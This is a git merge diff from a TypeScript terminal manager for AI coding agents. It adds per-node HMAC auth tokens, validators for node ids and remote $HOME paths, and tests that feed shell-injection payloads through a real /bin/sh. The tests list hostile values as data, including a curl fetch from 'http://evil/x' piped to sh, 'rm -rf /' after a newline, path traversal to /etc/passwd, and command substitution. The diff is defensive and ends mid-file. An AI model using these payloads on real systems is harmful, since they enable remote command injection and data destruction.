Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
Merge branch 'main' into feat/node-identity
Claude Codea9cc17db9de9
diff --cc src/core/agents/node-auth-token.tsindex d1717a682,000000000..b6b7bdb88mode 100644,000000..100644--- a/src/core/agents/node-auth-token.ts+++ b/src/core/agents/node-auth-token.ts@@@ -1,100 -1,0 +1,96 @@@+import { createHmac, timingSafeEqual } from 'crypto'++/**+ * Per-node capability, derived rather than minted-and-stored.+ *+ * Derived is the only shape that survives the restart constraint: tmux sessions outlive the app,+ * so a table minted at spawn is empty for every already-running session after a restart, and there+ * is no way to rebuild it (a node's tmux session can exist with no record on our side). A+ * derivation over a stable input lives exactly as long as the secret, which is the lifetime the+ * endpoint file already assumes.+ *+ * kid = base64url(HMAC-SHA256(secret, "nt-node-auth-kid-v1"))[0..8]+ * mac = base64url(HMAC-SHA256(secret, "nt-node-auth-v1|" + nodeId))+ * token = kid + "." + mac+ *+ * The prefix is domain separation, so the same secret can later mint other capability CLASSES (a+ * per-node relay capability, a per-project one) without one being a valid other. #167 hashed the+ * bare nodeId; it is retrofitted onto this derivation in a later task.+ */- export const NODE_ID_CHARSET = /^[A-Za-z0-9._-]+$/+const KID_CONTEXT = 'nt-node-auth-kid-v1'+const MAC_PREFIX = 'nt-node-auth-v1|'- const MAX_NODE_ID = 128++/**- * The charset alone is NOT enough: `.` and `..` both MATCH `NODE_ID_CHARSET`, and this id is also a- * path segment under the token dir (`<tokenDir>/<nodeId>`). A `..` there would resolve to the token- * dir's PARENT. The nodeId is attacker-controlled — it arrives from `project.json`, which travels in- * cloned/shared repos — so refuse `.` and `..` by name, refuse empty, refuse over-length, BEFORE the- * id ever reaches a hash or a path join.++ * ONE predicate for a node id, shared with the remote-shell boundary (`PtyManager.create`,++ * `RemoteHooks`) rather than re-declared here.++ *++ * It is the same rule for the same reason on both sides: the charset alone is NOT enough, because++ * `.` and `..` both match `[A-Za-z0-9._-]` and this id is also a path segment under the token dir++ * (`<tokenDir>/<nodeId>`) — a `..` there resolves to the token dir's PARENT. The nodeId is++ * attacker-controlled (it arrives from `project.json`, which travels in cloned and shared repos),++ * so it is refused before it ever reaches a hash, a path join, or a remote command line.++ *++ * Re-exported because the identity code reads better importing its own guard, and because two++ * copies of a validation rule is how they drift.+ */- export function isSafeNodeId(id: string): boolean {- return (- typeof id === 'string' &&- id.length > 0 &&- id.length <= MAX_NODE_ID &&- id !== '.' &&- id !== '..' &&- NODE_ID_CHARSET.test(id)- )- }++export { isSafeNodeId } from '../remote-safety'++import { isSafeNodeId } from '../remote-safety'++export function nodeAuthKid(secret: Buffer): string {+ return createHmac('sha256', secret).update(KID_CONTEXT).digest('base64url').slice(0, 8)+}++/** '' for an unsafe node id — never a token, and never a hash of attacker-shaped input. */+export function nodeAuthToken(secret: Buffer, nodeId: string): string {+ if (!isSafeNodeId(nodeId)) return ''+ const mac = createHmac('sha256', secret).update(`${MAC_PREFIX}${nodeId}`).digest('base64url')+ return `${nodeAuthKid(secret)}.${mac}`+}++export type NodeTokenVerdict = 'verified' | 'legacy' | 'forged'++/**+ * Does the presented token carry ANOTHER instance's kid?+ *+ * `verifyNodeToken` deliberately folds this into `legacy` — for a LABEL, "we cannot judge this" is+ * the whole answer. A policy that latches on proof needs the distinction back: a node this instance+ * has proven, contacted by a caller holding a second instance's token, is the documented+ * cross-instance failover, not an impostor, and must not trip the latch. Same cheap plain compare+ * `verifyNodeToken` uses for the kid: it is a routing decision over non-secret bytes.+ */+export function isForeignKidToken(+ secret: Buffer | null,+ presented: string | string[] | undefined+): boolean {+ if (!secret) return false+ if (typeof presented !== 'string' || presented === '') return false+ const dot = presented.indexOf('.')+ if (dot <= 0) return false+ return presented.slice(0, dot) !== nodeAuthKid(secret)+}++/**+ * Three-way, not two-way. `legacy` is NOT a failure — it is "we cannot judge this", and per-route+ * policy decides what that means (a missing token, or another instance's kid during the documented+ * cross-instance failover). `forged` — our kid with a bad mac — is the ONLY unambiguous attack+ * signal we have and is a 403 on every route, including /hook/*.+ */+export function verifyNodeToken(+ secret: Buffer | null,+ nodeId: string,+ presented: string | string[] | undefined+): NodeTokenVerdict {+ if (!secret) return 'legacy' // no secret ⇒ open (mixed-version machines during rollout)+ if (typeof presented !== 'string' || presented === '') return 'legacy'+ const dot = presented.indexOf('.')+ if (dot <= 0) return 'legacy' // not our wire shape at all+ // The kid is a NON-SECRET routing decision, so a plain compare is correct and cheap; only the+ // full-token compare gets the constant-time treatment, and only once the kid says the token is+ // ours to judge. A foreign kid is the failover path and must be `legacy`, never `forged`.+ if (presented.slice(0, dot) !== nodeAuthKid(secret)) return 'legacy'+ const expected = nodeAuthToken(secret, nodeId)+ if (!expected) return 'forged' // our kid, unusable node id ⇒ forgery, not legacy+ const a = Buffer.from(presented)+ const b = Buffer.from(expected)+ return a.length === b.length && timingSafeEqual(a, b) ? 'verified' : 'forged'+}diff --cc src/core/remote-safety.test.tsindex 000000000,f88fd06b2..c1c3f97fcmode 000000,100644..100644--- a/src/core/remote-safety.test.ts+++ b/src/core/remote-safety.test.ts@@@ -1,0 -1,105 +1,159 @@@+ import { describe, expect, it } from 'vitest'+ import { NODE_ID_MAX, isSafeNodeId, isSafeRemoteHome } from './remote-safety'++ describe('isSafeNodeId', () => {+ it('accepts every shape the app actually mints', () => {+ // `nextId()` in state/workspace.ts: `<prefix>-<base36 time>-<counter>`.+ for (const id of ['term-mabc123-7', 'ssh-mabc123-1', 'node-1', 'a', 'A_b.c-1', '9'])+ expect(isSafeNodeId(id)).toBe(true)+ })++ it('refuses anything a remote shell could read as structure', () => {+ for (const id of [+ 'a;b',+ 'a b',+ 'a|b',+ 'a$b',+ 'a`b`',+ 'a\nb',+ 'a\\b',+ "a'b",+ 'a"b',+ 'n1;curl${IFS}http://evil/x|sh;#'+ ])+ expect(isSafeNodeId(id)).toBe(false)+ })++ it('refuses path-shaped and empty ids', () => {+ for (const id of ['', '.', '..', 'a/b', '../../etc/passwd', undefined])+ expect(isSafeNodeId(id)).toBe(false)+ })++ it('refuses an over-long id (a bounded value is a checkable value)', () => {+ expect(isSafeNodeId('a'.repeat(NODE_ID_MAX))).toBe(true)+ expect(isSafeNodeId('a'.repeat(NODE_ID_MAX + 1))).toBe(false)+ expect(isSafeNodeId('a'.repeat(300))).toBe(false)+ })+ })++ /**+ * FALSE-POSITIVE SWEEP. A validator that refuses something real is an outage, so the accept side is- * pinned against a broad list of homes and ids that actually occur — spaces, non-ASCII, apostrophes- * and a literal `$` included. Note `/home/u$x` and `/home/o'brien` are ACCEPTED on purpose: they- * are legal paths, and the defence against them is quoting at the splice, not this predicate.++ * pinned against a broad list of homes and ids that actually occur — spaces, non-ASCII, `+` and++ * apostrophes included. `/home/o'brien` is ACCEPTED on purpose: it is somebody's real home,++ * `posixQuote` round-trips it, and the defence against it is quoting at the splice.++ *++ * `/home/u$x` USED to be pinned as accepted here, on the same reasoning. It is refused now, and the++ * change is deliberate: `$` is the lead character of command substitution, and `$'` was a live RCE++ * through the `remoteTmuxPtyArgs` splice EVEN with the value correctly quoted (vector B of the++ * second review of #191 — a `$HOME` of `/home/u$'x`, which this predicate then accepted because it++ * is a legal path). A `$` in a home directory is not a thing that happens; the vector is. The++ * apostrophe stays accepted because `o'brien` IS a thing that happens and has no matching vector.+ */+ const REAL_HOMES = [+ '/root',+ '/home/enes',+ '/home/user.name',+ '/home/user-name',+ '/Users/First Last',+ '/Users/Enes Kırca',+ '/home/ünal',+ '/home/用户',++ '/home/josé',++ '/home/пользователь',++ '/Users/山田',+ '/export/home/u',+ '/var/lib/jenkins',++ '/var/services/homes/user', // Synology DSM++ '/data/data/com.termux/files/home', // Termux+ '/home/u/',+ '/home/u+group',+ "/home/o'brien",- '/home/u$x',+ '/data/homes/dept 3/u',+ '/home/u.d/nested',- '/System/Volumes/Data/Users/e'++ '/System/Volumes/Data/Users/e',++ `/home/${'a'.repeat(4000)}`+ ]++ const REAL_NODE_IDS = [+ 'term-mabc-3',+ 'ssh-m1a2b3-12',+ 'editor-m9-1',+ 'group-m4-7',+ 'sticky-mz-1',+ 'dino-m1-1',+ 'browser-m1-2',+ 'diff-m1-3',+ 'video-m1-4',+ 'web-m1-5',+ '550e8400-e29b-41d4-a716-446655440000'+ ]++ describe('no false positives on values that really occur', () => {+ it('accepts every realistic remote home', () => {+ for (const h of REAL_HOMES) expect(isSafeRemoteHome(h), h).toBe(true)+ })+ it('accepts every id shape the app mints', () => {+ for (const id of REAL_NODE_IDS) expect(isSafeNodeId(id), id).toBe(true)+ })+ })++ describe('isSafeRemoteHome', () => {+ it('accepts real absolute homes, including spaces and non-ASCII', () => {+ for (const h of ['/home/u', '/Users/Enes Kırca', '/var/lib/deploy', '/'])+ expect(isSafeRemoteHome(h)).toBe(true)+ })++ it('refuses a host answer carrying a control character — the newline is a command separator', () => {+ expect(isSafeRemoteHome('/home/u\nrm -rf /')).toBe(false)+ expect(isSafeRemoteHome('/home/u\r')).toBe(false)+ expect(isSafeRemoteHome('/home/u\t')).toBe(false)+ expect(isSafeRemoteHome('/home/u\x7f')).toBe(false)+ })++ it('refuses relative / empty / backslashed / untrimmed / absurd answers', () => {+ for (const h of ['', undefined, 'home/u', 'C:\\Users\\u', ' /home/u', '/home/u ', `/${'a'.repeat(5000)}`])+ expect(isSafeRemoteHome(h)).toBe(false)+ })++++ it('refuses a non-string without throwing', () => {++ expect(isSafeRemoteHome(undefined as unknown as string)).toBe(false)++ expect(isSafeRemoteHome(null as unknown as string)).toBe(false)++ })++++ /**++ * `$HOME` is interpolated into remote command lines run as the SSH user. Each of these would be++ * live shell there. Quoting at the splice is the primary defence; this predicate is the second++ * layer, and it is the layer that survives a future splice written by someone who forgets.++ */++ const ATTACKS: [string, string][] = [++ ['embedded newline', '/home/u\ntouch /tmp/pwn'],++ ['carriage return', '/home/u\rtouch /tmp/pwn'],++ ['NUL', '/home/u\u0000/x'],++ ['tab (IFS)', '/home/u\tx'],++ ['C1 control', '/home/u\u0085x'],++ ['line separator', '/home/u\u2028x'],++ ['paragraph separator', '/home/u\u2029x'],++ ['command chain', '/home/u; rm -rf /'],++ ['command substitution', '/home/$(id)'],++ ['backtick substitution', '/home/`id`'],++ ['ansi-c quoting — the vector a correct posixQuote did not stop', "/home/u$'x"],++ ['double quote', '/home/u"x'],++ ['backslash', '/home/u\\x'],++ ['variable expansion', '/home/$USER'],++ ['pipe', '/home/u | id'],++ ['background', '/home/u & id'],++ ['redirection', '/home/u > /etc/passwd'],++ ['subshell', '/home/(u)'],++ ['brace expansion', '/home/{a,b}'],++ ['glob', '/home/*'],++ ['relative traversal', '../..'],++ ['relative', 'home/user'],++ ['tilde', '~/x'],++ ['leading space', ' /home/u'],++ ['trailing space', '/home/u '],++ ['over the ceiling', `/home/${'a'.repeat(5000)}`]++ ]++ it.each(ATTACKS)('rejects %s', (_label, home) => {++ expect(isSafeRemoteHome(home)).toBe(false)++ })+ })diff --cc src/core/remote-safety.tsindex 000000000,20311e570..2d49efeb0mode 000000,100644..100644--- a/src/core/remote-safety.ts+++ b/src/core/remote-safety.ts@@@ -1,0 -1,62 +1,104 @@@+ /**+ * Predicates for values that cross into a REMOTE SHELL.+ *+ * Both of these guard the same class of bug: a string that arrived as DATA (a node id read out of+ * `.nodeterm/project.json`, a `$HOME` a host printed back at us) ends up inside a command line the+ * remote user's shell parses. Quoting at the splice site is the primary defence — see+ * `remoteTmuxPtyArgs` and `RemoteHooks.setup` — and these are the second layer, applied where the+ * value ENTERS the system so a future splice that forgets to quote is not instantly exploitable.+ *+ * No node/electron imports: usable from core, main, and the server shell alike.+ */++ /** Generous cap on a node id — longer than anything the app mints, short enough to bound. */+ export const NODE_ID_MAX = 128+ /** Generous cap on a host-reported `$HOME`; longer than any real path (PATH_MAX on Linux). */+ export const REMOTE_HOME_MAX = 4096++ /**+ * Is this a node id (a `persistKey`) safe to carry into a remote command line and a filesystem+ * path?+ *+ * Charset is deliberately narrower than "no metacharacters": `[A-Za-z0-9._-]` covers every id the+ * app actually produces — `nextId()` emits `<prefix>-<base36 time>-<counter>` and `uuid()` emits+ * hex-with-dashes — so the answer to "could this refuse something legitimate?" is a list, not a+ * guess. `.` and `..` are refused on top of the charset: they pass it but name a directory, and+ * these ids are also used as path components (session files, per-node remote state). It is also+ * the charset the codex identity shim ALREADY enforces on `$NODETERM_NODE_ID` before it will use+ * it (`codex-identity-proxy.ts`: `*[!A-Za-z0-9._-]*) nt_fail node-id-unavailable`), so this is the+ * existing rule moved to the boundary rather than a new one invented here.+ *+ * An EMPTY id is refused here and must be handled by the caller as "not persistent" rather than as+ * a violation — `PtyManager.create` already branches on a falsy `persistKey` before it asks.+ */+ export function isSafeNodeId(id: string | undefined | null): boolean {+ if (!id || id.length > NODE_ID_MAX) return false+ if (id === '.' || id === '..') return false+ return /^[A-Za-z0-9._-]+$/.test(id)+ }+++/**++ * Every character that is live shell syntax at a `$HOME` interpolation site, plus every control++ * character. It is a DENYLIST on purpose — see `isSafeRemoteHome`.++ *++ * - C0 (u0000-u001f) and C1 (u007f-u009f) controls: \n / \r are command separators, \t is IFS,++ * NUL truncates. U+2028/U+2029 are not shell-special but are line breaks everywhere else++ * (logs, JSON) and no real path holds one.++ * - Expansion characters: `$` and backtick. `$(…)` and backticks are command substitution, and++ * `$'` in particular was a live RCE vector through a JS string-replacement splice (see++ * `remoteTmuxPtyArgs`) even with the value correctly `posixQuote`d.++ * - `\\` — an escape at every double-quoted site.++ * - `"` — closes a double-quoted interpolation.++ * - `;&|<>(){}` — separators, pipes, redirections, subshells, brace expansion.++ * - `*?[]` — globs; a star in the path makes `mkdir -p` reach a directory we never named.++ * - `!#` — history expansion and comments.++ *++ * The class is written with \u ESCAPES, never raw bytes: a source file carrying a literal NUL is++ * skipped in silence by git, grep and ripgrep (this repo has lost two files to that).++ *++ * NOT here, deliberately:++ * - every letter on earth. That was the bug (see below).++ * - the SINGLE QUOTE. `/home/o'brien` is somebody's actual home, `posixQuote` round-trips it++ * byte-for-byte through /bin/sh (`'o'\''brien'`), and every site this value reaches is quoted.++ * Refusing it would be a silent total outage for that user in exchange for nothing.++ */++const REMOTE_HOME_UNSAFE = /[\u0000-\u001f\u007f-\u009f\u2028\u2029"`$\\;&|<>(){}[\]*?!#]/+++ /**+ * Is a remote host's answer to `printf %s "$HOME"` usable for building remote paths?+ *- * The host's answer is data, not truth. Only an absolute POSIX path with no backslash and no- * control character is usable — a newline in particular is a COMMAND SEPARATOR on the remote- * command lines the caller then builds. Spaces and non-ASCII are permitted: `/Users/Enes Kırca` is- * a real home, and rejecting it would disable hooks for that user; the caller quotes the value, so- * a space is a quoting problem, not a safety one.++ * The host's answer is DATA, not truth — a host can set `$HOME` to whatever it likes, and this++ * value is interpolated into remote command lines run as the SSH user. Quoting at the splice is the++ * primary defence (every site now quotes); this is the second layer, so a future splice that++ * forgets is not instantly exploitable.++ *++ * THE SHAPE MATTERS. This used to be an allowlist — `/^[\w./ -]+$/` — and `\w` in JavaScript is++ * `[A-Za-z0-9_]`, always, with or without the `u` flag; there is no switch that widens it. So++ * `/home/josé`, `/home/gökhan`, `/Users/山田` and every other home whose owner does not spell their++ * name in ASCII was judged "not a plain path", and the consequence was total and silent for those++ * users: no status badges, no context meter, no subagent cards, on every SSH host they own. An++ * allowlist of LETTERS can only ever be a list of the alphabets its author thought of.++ *++ * So it enumerates what is DANGEROUS instead (`REMOTE_HOME_UNSAFE`), which is a closed set. Anything++ * else — any script's letters, spaces (`/Users/First Last` is ordinary on macOS), dots, dashes,++ * underscores, `+`, apostrophes — is just a path.++ *++ * It must also be ABSOLUTE: a relative answer would build relative remote paths against whatever++ * cwd the exec channel lands in, and `../..` stops being interesting the moment `/` is required up++ * front.+ *+ * Like `isSafeRemoteGrokHome` (which delegates here) it judges the EXACT string the caller holds —+ * surrounding whitespace is a rejection, not something this quietly strips. Trimming here would+ * return `true` about a value whose embedded `\n` the caller is about to interpolate. Remote reads+ * trim at the READ site instead.+ */+ export function isSafeRemoteHome(p: string | undefined | null): boolean {- const v = p?.trim()- if (!v || v !== p) return false- if (!v.startsWith('/') || v.includes('\\') || v.length > REMOTE_HOME_MAX) return false- return !Array.from(v).some((ch) => {- const c = ch.charCodeAt(0)- return c <= 0x1f || c === 0x7f- })++ return (++ typeof p === 'string' &&++ p.length > 0 &&++ p.length <= REMOTE_HOME_MAX &&++ p.startsWith('/') &&++ p === p.trim() &&++ !REMOTE_HOME_UNSAFE.test(p)++ )+ }diff --cc src/core/remote-ssh/control-master.realsh.test.tsindex 000000000,92573813f..0f5c45047mode 000000,100644..100644--- a/src/core/remote-ssh/control-master.realsh.test.ts+++ b/src/core/remote-ssh/control-master.realsh.test.ts@@@ -1,0 -1,188 +1,193 @@@+ // SECURITY — the remote command line, executed by a REAL /bin/sh.+ //+ // The sibling `control-master.injection.test.ts` asserts structure with a hand-rolled parser. This+ // file trusts no parser of ours: it runs the line `remoteTmuxPtyArgs` builds through the actual+ // shell, with a stub `tmux` on PATH that dumps its argv NUL-separated and canary programs that+ // leave a marker file if an injection ever reaches them. If a payload becomes command structure,+ // a marker appears.+ //+ // It exists because a parser-only test PASSED the `$'` defect: `posixQuote` was correct, but the+ // quoted string was handed to `String.prototype.replace` as a STRING replacement, where `$'`+ // expands to the text following the match. Only execution catches a class of bug like that+ // reliably — the parser has to be taught each new trick, the shell already knows them all.+ import { describe, expect, it, beforeAll } from 'vitest'+ import { execFileSync } from 'child_process'+ import fs from 'fs'+ import os from 'os'+ import path from 'path'+ import { remoteHookEnvArgs, remoteTmuxPtyArgs } from './control-master'+ import { accountTmuxEnvArgs, remoteAccountConfigDirAbs } from '../claude-accounts-core'+ import { isSafeNodeId, isSafeRemoteHome } from '../remote-safety'++ const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }++ let binDir: string+ let markerDir: string++ beforeAll(() => {+ const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ntsh-'))+ binDir = path.join(root, 'bin')+ markerDir = path.join(root, 'markers')+ fs.mkdirSync(binDir)+ fs.mkdirSync(markerDir)+ // stub tmux: prints its argv NUL-separated, so the test sees exactly what tmux would receive.+ fs.writeFileSync(path.join(binDir, 'tmux'), `#!/bin/sh\nfor a in "$@"; do printf '%s\\0' "$a"; done\n`, {+ mode: 0o755+ })+ // canaries an injection would reach for; each drops a marker file.+ for (const name of ['curl', 'id', 'whoami', 'rm', 'sh_pwn']) {+ fs.writeFileSync(path.join(binDir, name), `#!/bin/sh\ntouch ${markerDir}/${name}\nexit 0\n`, {+ mode: 0o755+ })+ }+ })++ /** Run a built remote command line through a real sh; report tmux's argv and any canary fired. */+ function runReal(cmd: string): { argv: string[]; markers: string[]; extraStdout: string } {+ fs.readdirSync(markerDir).forEach((f) => fs.unlinkSync(path.join(markerDir, f)))+ let out = ''+ try {+ out = execFileSync('/bin/sh', ['-c', cmd], {+ env: { PATH: `${binDir}:/usr/bin:/bin`, HOME: '/home/u' },+ encoding: 'utf8',+ stdio: ['ignore', 'pipe', 'pipe']+ })+ } catch (e) {+ // A non-zero exit is not the subject — whether a canary RAN is. Keep whatever stdout arrived.+ out = String((e as { stdout?: string }).stdout ?? '')+ }+ const parts = out.split('\0')+ const trailing = parts.pop() ?? ''+ return { argv: parts, markers: fs.readdirSync(markerDir).sort(), extraStdout: trailing }+ }++ const build = (nodeId: string): string =>+ remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-n1',+ '/home/u',+ undefined,+ undefined,+ remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', nodeId, '1', 'claude'),+ '/home/u/.nodeterm/tmux.conf'+ ).slice(-1)[0]++ const PAYLOADS: Record<string, string> = {+ semicolon: 'n1;id;#',+ pipe: 'n1|sh_pwn',+ and: 'n1&&id',+ or: 'n1||id',+ cmdsub: 'n1$(id)',+ backtick: 'n1`id`',+ IFS: 'n1;curl${IFS}http://evil/x|sh_pwn;#',+ newline: 'n1\nid\n',+ cr: 'n1\rid',+ singleQuote: "n1'id'",+ alreadyQuoted: "'n1'",+ embeddedEscape: "n1'\\''id;#",+ embeddedEscape2: "a'\\''b",+ closeThenSub: "n1'$(id)'",+ closeThenNl: "n1'\nid\n'",+ glob: 'n1*',+ redirect: 'n1>/tmp/ntsh-pwn',+ bg: 'n1&',+ tilde: 'n1~/x',+ varExp: 'n1$HOME',+ dollarQuote: "n1$'\\x41'",+ bangHist: 'n1!!',+ brace: 'n1{a,b}',+ whitespace: 'n1\t tab and space',+ // `String.prototype.replace` replacement patterns — the class that defeated the first fix.+ replMatch: 'n1$&',+ replBefore: 'n1$`',+ replAfter: "n1$'",+ replDollar: 'n1$$'+ }++ describe('REAL sh: a payload node id is one literal argument, never command structure', () => {+ for (const [name, payload] of Object.entries(PAYLOADS)) {+ it(`${name}: ${JSON.stringify(payload)}`, () => {+ const { argv, markers, extraStdout } = runReal(build(payload))+ expect(markers, `a canary EXECUTED for ${name}`).toEqual([])+ expect(extraStdout, `stray stdout for ${name}`).toBe('')+ expect(argv, `payload was not one literal arg for ${name}`).toContain(`NODETERM_NODE_ID=${payload}`)+ expect(argv.slice(0, 2)).toEqual(['-L', 'nodeterm-rmt'])+ expect(argv.filter((a) => a === 'new-session')).toHaveLength(1)+ expect(argv).toContain('nt-n1')+ expect(argv).toContain('/home/u')+ })+ }+ })++ /**+ * The four vectors an adversarial review proved still landed after the FIRST version of this fix.+ * Each uses a node id that passes `isSafeNodeId` — the escape rides a different project.json field+ * — so they are regressions against the splice, not against the id validator.+ */+ describe('REAL sh: the four vectors that survived the first fix', () => {+ it('A: node.data.agentId carries the escape, node id is legitimate', () => {+ expect(isSafeNodeId('term-mabc-3')).toBe(true)+ const cmd = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-term-mabc-3',+ '/srv/app;id;#',+ undefined,+ undefined,+ remoteHookEnvArgs('/home/u/.nodeterm/hook-endpoint-p1.env', 'term-mabc-3', '1', "claude$'"),+ '/home/u/.nodeterm/tmux.conf'+ ).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain('/srv/app;id;#') // the cwd stayed DATA+ })+- it('B: a remote $HOME that isSafeRemoteHome accepts (and should)', () => {++ it('B: a remote $HOME carrying the ansi-c quoting vector', () => {+ const home = "/home/u$'x"- expect(isSafeRemoteHome(home), 'a legal path — the validator is not the defence here').toBe(true)++ // The predicate USED to accept this — it is a legal path, and quoting at the splice was the++ // whole defence. It refuses `$` now (the per-node identity series consolidated the two++ // independently-written home predicates onto the stricter one), so this value can no longer++ // reach here through `setup`. The splice is still proven inert below, on purpose: a splice that++ // is only safe because a validator upstream happens to be strict is one refactor from an RCE.++ expect(isSafeRemoteHome(home), 'refused at the boundary now — but not RELIED on here').toBe(false)+ const cmd = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-n1',+ '/srv/app;id;#',+ undefined,+ undefined,+ remoteHookEnvArgs(`${home}/.nodeterm/hook-endpoint-p1.env`, 'term-mabc-3', '1', 'claude'),+ '/home/u/.nodeterm/tmux.conf'+ ).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain(`NODETERM_HOOK_ENDPOINT=${home}/.nodeterm/hook-endpoint-p1.env`)+ })++ it('C: CLAUDE_CONFIG_DIR built from that same $HOME', () => {+ const dir = remoteAccountConfigDirAbs("/home/u$'x", 'work')+ const cmd = remoteTmuxPtyArgs(conn, '/s.sock', 'nt-n1', '/srv/app;id;#', undefined, undefined, [+ ...accountTmuxEnvArgs(dir)+ ]).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain(`CLAUDE_CONFIG_DIR=${dir}`)+ })++ it('D: programArgs (a resume session id) in the region after the splice', () => {+ const cmd = remoteTmuxPtyArgs(+ conn,+ '/s.sock',+ 'nt-n1',+ '/srv/app',+ 'claude',+ ['--resume', 'sess;id;#'],+ remoteHookEnvArgs('/ep', 'term-mabc-3', '1', "claude$'")+ ).slice(-1)[0]+ const { argv, markers } = runReal(cmd)+ expect(markers).toEqual([])+ expect(argv).toContain('sess;id;#')+ })+ })diff --cc src/main/remote-ssh/remote-hooks.test.tsindex afacf4fb8,f58a61bf5..8af66d9df--- a/src/main/remote-ssh/remote-hooks.test.ts+++ b/src/main/remote-ssh/remote-hooks.test.ts@@@ -1,6 -1,7 +1,8 @@@+ import { execFileSync } from 'child_process'import { describe, expect, it, vi } from 'vitest'- import { RemoteHooks, isSafeRemoteHome } from './remote-hooks'+ import { RemoteHooks, openCodeInstructionsTarget } from './remote-hooks'+ import { isSafeRemoteHome } from '../../core/remote-safety'+import { hookServer } from '../../core/agents/hook-server'const conn = { host: 'h', user: 'u' }@@@ -192,6 -175,113 +194,117 @@@ describe('RemoteHooks.setup', () =>})})+ /**+ * SECURITY — the remote `$HOME` is a HOST ANSWER, i.e. data, not truth. `setup()` splices it into+ * `mkdir -p <remoteDir> && rm -f <sock>` and into every `cat > <config>`, and those are remote+ * SHELL LINES. A `$HOME` carrying a newline therefore appends a second command; a `$HOME` carrying+ * a space silently breaks the install (the unquoted `mkdir` word-splits). Two layers, matching the+ * fix in `remoteTmuxPtyArgs`: validate the answer, then quote every path built from it. Same+ * fail-open direction the surrounding code already takes — an unusable answer returns null and the+ * host simply runs without hooks.+ */+ describe('RemoteHooks.setup — a hostile remote $HOME', () => {+ it('returns null and interpolates NOTHING when $HOME carries a newline', async () => {+ const { rh, conn, runs } = harness({ responses: { $HOME: '/home/u\nid > /tmp/pwned' } })+ const res = await rh.setup('p1', conn, '/s.sock', { port: 51234, token: 'tok', version: '1' })+ expect(res).toBeNull()+ // Nothing beyond the probe itself may have run — no forward, no mkdir, no write.+ expect(runs.some((r) => r.cmd.includes('id > /tmp/pwned'))).toBe(false)+ expect(runs.some((r) => r.cmd.includes('mkdir'))).toBe(false)+ expect(runs.some((r) => r.cmd.includes('-O forward'))).toBe(false)+ })++ it('quotes every path it builds from $HOME, so a home with a space still installs', async () => {+ const { rh, conn, runs } = harness({ responses: { $HOME: '/Users/Enes K' } })+ const res = await rh.setup('p1', conn, '/s.sock', { port: 51234, token: 'tok', version: '1' })+ expect(res?.endpointPath).toBe('/Users/Enes K/.nodeterm/hook-endpoint-p1.env')+ const joined = runs.map((r) => r.cmd)+ expect(joined.some((j) => j.includes(`mkdir -p '/Users/Enes K/.nodeterm'`))).toBe(true)+ expect(joined.some((j) => j.includes(`cat > '/Users/Enes K/.nodeterm/hook-endpoint-p1.env'`))).toBe(true)+ expect(joined.some((j) => j.includes(`cat > '/Users/Enes K/.claude/settings.json'`))).toBe(true)+ // No path derived from $HOME survives UNQUOTED in any remote SHELL LINE (the last argv element+ // of an ssh child is the command the remote shell parses; the `-R` forward spec is an ssh+ // OPTION, not a shell word, so it is excluded by construction).+ const shellLines = runs.map((r) => r.args[r.args.length - 1])+ expect(shellLines.some((line) => /(?<!')\/Users\/Enes K/.test(line))).toBe(false)+ })+ })++ /**+ * SECURITY — the opencode instructions target is the ONE remote path that must stay+ * shell-expandable (`$XDG_CONFIG_HOME` belongs to the HOST), so it cannot be a quoted literal like+ * its codex/gemini siblings. Written the obvious way it interpolated the host-reported `$HOME`- * inside DOUBLE quotes, where `$` and backticks are still live — and `isSafeRemoteHome` accepts- * `/home/u$(id)`, correctly, because that is a legal path. Executed through a real `/bin/sh`: the- * expression must stay ONE argument and must never run anything.++ * inside DOUBLE quotes, where `$` and backticks are still live.++ *++ * `isSafeRemoteHome` refuses `/home/u$(id)` since the per-node identity series consolidated the two++ * home predicates onto the stricter one, so this value no longer reaches here through `setup`. The++ * expression is still proven inert against a real `/bin/sh` — it must stay ONE argument and must++ * never run anything — because "the validator upstream is strict" is not a property this expression++ * can be built on.+ */+ describe('RemoteHooks — the opencode XDG path expression', () => {+ const HOSTILE = '/home/u$(id)`id`;id;#'++ /** `set --` so the shell reports how many WORDS the expression became, and what the first is. */+ const probe = (home: string, env: Record<string, string> = {}): string => {+ const { prelude, pathExpr } = openCodeInstructionsTarget(home)+ return execFileSync('/bin/sh', ['-c', `${prelude}set -- ${pathExpr}; echo "ARGC=$#|$1"`], {+ encoding: 'utf8',+ env: { PATH: '/usr/bin:/bin', ...env }+ }).trim()+ }++ it('a hostile $HOME stays inert and the expression stays ONE word (real /bin/sh)', () => {- expect(isSafeRemoteHome(HOSTILE), 'a legal path — the validator is not the defence here').toBe(true)++ expect(isSafeRemoteHome(HOSTILE), 'refused at the boundary now — but not RELIED on here').toBe(false)+ expect(probe(HOSTILE)).toBe(`ARGC=1|${HOSTILE}/.config/opencode/AGENTS.md`)+ })++ it("still honours the HOST's $XDG_CONFIG_HOME, including one containing a space", () => {+ expect(probe('/home/u', { XDG_CONFIG_HOME: '/o p/cfg' })).toBe('ARGC=1|/o p/cfg/opencode/AGENTS.md')+ expect(probe('/home/u')).toBe('ARGC=1|/home/u/.config/opencode/AGENTS.md')+ })++ for (const [what, install] of [+ ['canvas control', (rh: RemoteHooks, c: typeof conn) => rh.installCanvasControl(c, '/s.sock', HOSTILE)],+ ['context link', (rh: RemoteHooks, c: typeof conn) => rh.installContextLink(c, '/s.sock', HOSTILE)]+ ] as const) {+ it(`${what} routes the opencode target through that safe form`, async () => {+ const { rh, conn: c, runs } = harness()+ await install(rh, c)+ const lines = runs+ .map((r) => 